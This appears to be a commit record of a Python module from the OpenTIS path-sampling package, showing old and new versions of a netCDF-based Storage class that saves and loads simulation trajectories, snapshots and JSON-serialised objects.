        Parameters
        ----------
        name : str
            the name of the variable
        obj : object
            the object to store
        '''
        self.write_str(name, self.simplifier.to_json(obj))

    def restore_object(self, name):
        """
        Restore an object from a netCDF variable

        Parameters
        ----------
        name : str
            the name of the variable

        Returns
        -------
        object
            the restored object
        """
        json_string = self.variables[name][0]
        return self.simplifier.from_json(json_string)

    def write_str(self, name, string):
        '''
        Write a string into a netCDF Variable

        Parameters
        ----------
        name : str
            the name of the variable
        string : str
            the string to store
        '''
        packed_data = numpy.empty(1, 'O')
        packed_data[0] = string
        self.variables[name][:] = packed_data

    def init_str(self, name):
        '''
        Initialize a netCDF Variable to store a single string

        Parameters
        ----------
        name : str
            the name of the variable
        '''
        self.createVariable(name, 'str', 'scalar')

    def save(self, obj, *args, **kwargs):
        """
        Save a storable object into the correct Storage in the netCDF file

        Parameters
        ----------
        obj : the object to store

        Returns
        -------
        str
            the class name of the BaseClass of the stored object, which is needed when loading the object
            to identify the correct storage
        """

        if type(obj) is list:
            return [ self.save(part, *args, **kwargs) for part in obj]
        elif type(obj) is tuple:
            return tuple([self.save(part, *args, **kwargs) for part in obj])
        elif type(obj) in self._storages:
            store = self._storages[type(obj)]
            store.save(obj, *args, **kwargs)
            if type(obj) not in self._storages_base_cls:
                self._storages_base_cls[type(obj)] = obj.__class__.__name__
            return self._storages_base_cls[type(obj)]
        else:
            # Make sure subclassed objects will also be stored
            # Might come in handy someday
            for ty in self._storages:
                if type(ty) is not str and issubclass(type(obj), ty):
#                    print 'sub', ty, type(obj)
                    store = self._storages[ty]
                    # store the subclass in the _storages member for
                    # faster access next time
                    self._storages[type(obj)] = store
                    if type(ty) not in self._storages_base_cls:
                        self._storages_base_cls[ty] = ty.__name__
                    self._storages_base_cls[type(obj)] = self._storages_base_cls[ty]
                    store.save(obj, *args, **kwargs)

                    # this return the base_cls.__name__ to make sure on loading the right function is called
                    return self._storages_base_cls[ty]

        # Could not save this object. Might raise an exception, but return an empty string as type
        return ''

    def load(self, obj_type, *args, **kwargs):
        """
        Load an object of the specified type from the storage

        Parameters
        ----------
        obj_type : str or class
            the string or class of the base object to be loaded.

        Returns
        -------
        object
            the object loaded from the storage

        Notes
        -----
        If you want to load a subclassed Ensemble you need to load using `Ensemble` or `"Ensemble"`
        and not use the subclass
        """

        if obj_type in self._storages:
            store = self._storages[obj_type]
            return store.load(*args, **kwargs)
        elif type(obj_type) is type:
            # If we give a class we might be lucky and find the base class and
            # register is. If we try to load a type given by a string which is
            # not the base_class name originally registered there is no way to
            # tell.
            for ty in self._storages:
                if type(ty) is not str and issubclass(obj_type, ty):
                    store = self._storages[ty]
                    # store the subclass in the _storages member for
                    # faster access next time
                    self._storages[obj_type] = store
                    self._storages[obj_type.__name__] = store

                    if type(ty) not in self._storages_base_cls:
                        self._storages_base_cls[ty] = ty.__name__
                        self._storages_base_cls[ty.__name__] = ty.__name__

                    self._storages_base_cls[obj_type] = self._storages_base_cls[ty]
                    self._storages_base_cls[obj_type.__name__] = ty.__name__

                    store = self._storages[obj_type]
                    return store.load(*args, **kwargs)<commit_msg>cleanup of Storage<commit_after>'''
Created on 06.07.2014

@author: JDC Chodera
@author: JH Prinz
'''

import netCDF4 as netcdf
import os.path

import numpy
import simtk.unit as u

from object_storage import ObjectStorage
from trajectory_store import TrajectoryStorage
from opentis.storage.sample_store import SampleStorage
from snapshot_store import SnapshotStorage, ConfigurationStorage, MomentumStorage
from engine_store import DynamicsEngineStorage
from ensemble_store import EnsembleStorage
from opentis.shooting import ShootingPointSelector, ShootingPoint
from opentis.pathmover import PathMover, MoveDetails
from opentis.globalstate import GlobalState
from orderparameter_store import ObjectDictStorage
from opentis.orderparameter import OrderParameter
from opentis.snapshot import Snapshot

from opentis.storage.util import ObjectJSON
from opentis.tools import units_from_snapshot

#=============================================================================================
# SOURCE CONTROL
#=============================================================================================

__version__ = "$Id: NoName.py 1 2014-07-06 07:47:29Z jprinz $"

#=============================================================================================
# NetCDF Storage for multiple forked trajectories
#=============================================================================================

class Storage(netcdf.Dataset):
    '''
    A netCDF4 wrapper to store trajectories based on snapshots of an OpenMM
    simulation. This allows effective storage of shooting trajectories '''

    def _register_storages(self, store = None):
        if store is None:
            store = self
        self.trajectory = TrajectoryStorage(store).register()
        self.snapshot = SnapshotStorage(store).register()
        self.configuration = ConfigurationStorage(store).register()
        self.momentum = MomentumStorage(store).register()
        self.ensemble = EnsembleStorage(store).register()
        self.sample = SampleStorage(store).register()
        self.pathmover = ObjectStorage(store, PathMover, named=True, json=True, identifier='json').register()
        self.movedetails = ObjectStorage(store, MoveDetails, named=False, json=True, identifier='json').register()
        self.shootingpoint = ObjectStorage(store, ShootingPoint, named=False, json=True).register()
        self.shootingpointselector = ObjectStorage(store, ShootingPointSelector, named=False, json=True, identifier='json').register()
        self.globalstate = ObjectStorage(store, GlobalState, named=True, json=True, identifier='json').register()
        self.engine = DynamicsEngineStorage(store).register()
        self.collectivevariable = ObjectDictStorage(store, OrderParameter, Configuration).register()
        self.cv = self.collectivevariable

    def _setup_class(self):
        self._storages = {}
        self._storages_base_cls = {}
        self.links = []
        self.simplifier = ObjectJSON()
        self.units = dict()
        # use no units
        self.dimension_units = {
            'length': u.Unit({}),
            'velocity': u.Unit({}),
            'energy': u.Unit({})
        }
        # use MD units
        self.dimension_units = {
            'length': u.nanometers,
            'velocity': u.nanometers / u.picoseconds,
            'energy': u.kilojoules_per_mole
        }

    def __init__(self, filename, mode=None,
                 template=None, n_atoms=None, units=None):
        '''
        Create a storage for complex objects in a netCDF file

        Parameters
        ----------
        filename : string
            filename of the netcdf file to be used or created
        mode : string, default: None
            the mode of file creation, one of 'w' (write), 'a' (append) or
            None, which will append any existing files.
        template : opentis.Snapshot
            a Snapshot instance that contains a reference to a Topology, the
            number of atoms and used units
        n_atoms : int or None
            If not None overrides the number of atoms in the storage
        units : dict of {str : simtk.unit.Unit } or None
            representing a dict of string representing a dimension ('length', 'velocity', 'energy') pointing to
            the simtk.unit.Unit to be used. If not None overrides the standard units used
        '''

        if mode == None:
            if os.path.isfile(filename):
                mode = 'a'
            else:
                mode = 'w'

        self.filename = filename

        super(Storage, self).__init__(filename, mode)

        self._setup_class()

        if units is not None:
            self.dimension_units.update(units)
        self._register_storages()

        if mode == 'w':
            self._initialize_netCDF()

            if template.topology is not None:
                self.topology = template.topology

            if n_atoms is not None:
                self.atoms = n_atoms
            elif self.topology is not None:
                self.atoms = self.topology.n_atoms
            elif template.coordinates is not None:
                self.atoms = template.coordinates.shape[0]
            else:
                raise RuntimeError("Storage given neither n_atoms nor topology")

            # update the units for dimensions from the template
            self.dimension_units.update(units_from_snapshot(template))
            self._init_storages(units=self.dimension_units)

            # create a json from the mdtraj.Topology() and store it
            self.write_str('topology', self.simplifier.to_json(self.simplifier.topology_to_dict(self.topology)))

            # Save the initial configuration
            self.snapshot.save(template)

            self.createVariable('template_idx', 'i4', 'scalar')
            self.variables['template_idx'][:] = template.idx[self]

            self.sync()

        elif mode == 'a' or mode == 'r+' or mode == 'r':
            self._restore_storages()

            # Create a dict of simtk.Unit() instances for all netCDF.Variable()
            for variable_name in self.variables:
                unit = None
                variable = self.variables[variable_name]
                if hasattr(variable, 'unit_simtk'):
                    unit_dict = self.simplifier.from_json(getattr(variable, 'unit_simtk'))
                    if unit_dict is not None:
                        unit = self.simplifier.unit_from_dict(unit_dict)

                self.units[str(variable_name)] = unit

            # After we have restore the units we can load objects from the storage

            self.topology = self.simplifier.topology_from_dict(self.simplifier.from_json(self.variables['topology'][0]))
            self.atoms = self.topology.n_atoms

    @property
    def template(self):
        """
        Return the template snapshot from the storage

        Returns
        -------
        Snapshot
            the initial snapshot
        """
        return self.snapshot.load(int(self.variables['template_idx'][0]))

    def get_unit(self, dimension):
        """
        Return a simtk.Unit instance from the unit_system the is of the specified dimension, e.g. length, time
        """
        return u.Unit({self.unit_system.base_units[u.BaseDimension(dimension)] : 1.0})

    def __getattr__(self, item):
        return self.__dict__[item]

    def __setattr__(self, key, value):
        self.__dict__[key] = value

    def _init_classes(self, units=None):
        '''
        Run the initialization on all added classes, when the storage is created only!

        Notes
        -----
        Only runs when the storage is created.
        '''

        for storage in self.links:
            # create a member variable which is the associated Class itself
            storage.dimension_units.update(units)
            storage._init()

    def _restore_classes(self):
        '''
        Run restore on all added classes. Usually there is nothing to do.
        '''
#        for storage in self.links:
#            storage._restore()
        pass

    def _init(self):
        """
        Initialize the netCDF file for storage itself.
        """

        # add shared dimension for everyone. scalar and spatial
        if 'scalar' not in self.dimensions:
            self.createDimension('scalar', 1) # scalar dimension

        if 'spatial' not in self.dimensions:
            self.createDimension('spatial', 3) # number of spatial dimensions

        # Set global attributes.
        setattr(self, 'title', 'Open-Transition-Interface-Sampling')
        setattr(self, 'application', 'Host-Guest-System')
        setattr(self, 'program', 'run.py')
        setattr(self, 'programVersion', __version__)
        setattr(self, 'Conventions', 'Multi-State Transition Interface TPS')
        setattr(self, 'ConventionVersion', '0.1')

        # Create a string to hold the topology
        self.init_str('topology')
        self.write_str('topology', '')

        # Force sync to disk to avoid data loss.
        self.sync()

    def init_object(self, name):
        '''
        Initialize a netCDF Variable to store a JSON object

        Parameters
        ----------
        name : str
            the name of the variable
        '''
        self.init_str(name)

    def write_as_json(self, name, obj):
        '''
        Write an object as json into a netCDF Variable

        Parameters
        ----------
        name : str
            the name of the variable
        obj : object
            the object to store
        '''
        self.write_str(name, self.simplifier.to_json(obj))

    def restore_object(self, name):
        """
        Restore an object from a netCDF variable

        Parameters
        ----------
        name : str
            the name of the variable

        Returns
        -------
        object
            the restored object
        """
        json_string = self.variables[name][0]
        return self.simplifier.from_json(json_string)

    def write_str(self, name, string):
        '''
        Write a string into a netCDF Variable

        Parameters
        ----------
        name : str
            the name of the variable
        string : str
            the string to store
        '''
        packed_data = numpy.empty(1, 'O')
        packed_data[0] = string
        self.variables[name][:] = packed_data

    def init_str(self, name):
        '''
        Initialize a netCDF Variable to store a single string

        Parameters
        ----------
        name : str
            the name of the variable
        '''
        self.createVariable(name, 'str', 'scalar')

    def save(self, obj, *args, **kwargs):
        """
        Save a storable object into the correct Storage in the netCDF file

        Parameters
        ----------
        obj : the object to store

        Returns
        -------
        str
            the class name of the BaseClass of the stored object, which is needed when loading the object
            to identify the correct storage
        """

        if type(obj) is list:
            return [ self.save(part, *args, **kwargs) for part in obj]
        elif type(obj) is tuple:
            return tuple([self.save(part, *args, **kwargs) for part in obj])
        elif type(obj) in self._storages:
            store = self._storages[type(obj)]
            store.save(obj, *args, **kwargs)
            if type(obj) not in self._storages_base_cls:
                self._storages_base_cls[type(obj)] = obj.__class__.__name__
            return self._storages_base_cls[type(obj)]
        else:
            # Make sure subclassed objects will also be stored
            # Might come in handy someday
            for ty in self._storages:
                if type(ty) is not str and issubclass(type(obj), ty):
#                    print 'sub', ty, type(obj)
                    store = self._storages[ty]
                    # store the subclass in the _storages member for
                    # faster access next time
                    self._storages[type(obj)] = store
                    if type(ty) not in self._storages_base_cls:
                        self._storages_base_cls[ty] = ty.__name__
                    self._storages_base_cls[type(obj)] = self._storages_base_cls[ty]
                    store.save(obj, *args, **kwargs)

                    # this return the base_cls.__name__ to make sure on loading the right function is called
                    return self._storages_base_cls[ty]

        # Could not save this object. Might raise an exception, but return an empty string as type
        return ''

    def load(self, obj_type, *args, **kwargs):
        """
        Load an object of the specified type from the storage

        Parameters
        ----------
        obj_type : str or class
            the string or class of the base object to be loaded.

        Returns
        -------
        object
            the object loaded from the storage

        Notes
        -----
        If you want to load a subclassed Ensemble you need to load using `Ensemble` or `"Ensemble"`
        and not use the subclass
        """

        if obj_type in self._storages:
            store = self._storages[obj_type]
            return store.load(*args, **kwargs)
        elif type(obj_type) is type:
            # If we give a class we might be lucky and find the base class and
            # register is. If we try to load a type given by a string which is
            # not the base_class name originally registered there is no way to
            # tell.
            for ty in self._storages:
                if type(ty) is not str and issubclass(obj_type, ty):
                    store = self._storages[ty]
                    # store the subclass in the _storages member for
                    # faster access next time
                    self._storages[obj_type] = store
                    self._storages[obj_type.__name__] = store

                    if type(ty) not in self._storages_base_cls:
                        self._storages_base_cls[ty] = ty.__name__
                        self._storages_base_cls[ty.__name__] = ty.__name__

                    self._storages_base_cls[obj_type] = self._storages_base_cls[ty]
                    self._storages_base_cls[obj_type.__name__] = ty.__name__

                    store = self._storages[obj_type]
                    return store.load(*args, **kwargs)<|endoftext|>